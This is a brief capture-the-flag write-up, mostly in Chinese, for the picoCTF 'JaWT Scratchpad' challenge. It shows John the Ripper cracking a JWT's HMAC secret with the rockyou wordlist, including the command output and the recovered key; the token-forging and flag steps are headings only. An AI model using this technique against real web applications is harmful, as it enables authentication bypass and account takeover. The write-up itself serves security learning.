PicoCTF - JaWT Scratchpad

Background

NTUCNS - HW3 - JWT Authentication

Recon

這一題蠻有趣的，有結合其他東西當作解題的基礎，先看JWT的token，decode過後的結果表示：

也就是說，token只會隨著payload而變動，所以也沒有辦法用解public key的方式重新簽署文件，另外用alg=none也會出現Authentication failed，不過作者有在網頁中有給出提示，用John，看起來就是用john-the-ripper解出token password

Exploit - Brute Force

1. Brute Force Password

    $ cat jwt.txt
    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaGhoIn0.j1yd-PJbjNraLhhBAxZBD2C1EVIyHqlnvKh_l-iVKG8%
    $ ./john.exe ../jwt.txt --wordlist=../rockyou.txt
    Using default input encoding: UTF-8
    Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
    Will run 8 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    ilovepico        (?)
    1g 0:00:00:02 DONE (2023-06-26 18:42) 0.3673g/s 2720Kp/s 2720Kc/s 2720KC/s ilovetitoelbambino..ilovejesus71
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed
   

   Token Password: ilovepico

2. Check password & Construct New Token

3. Get Flag

Reference

pico2019 JaWT Scratchpad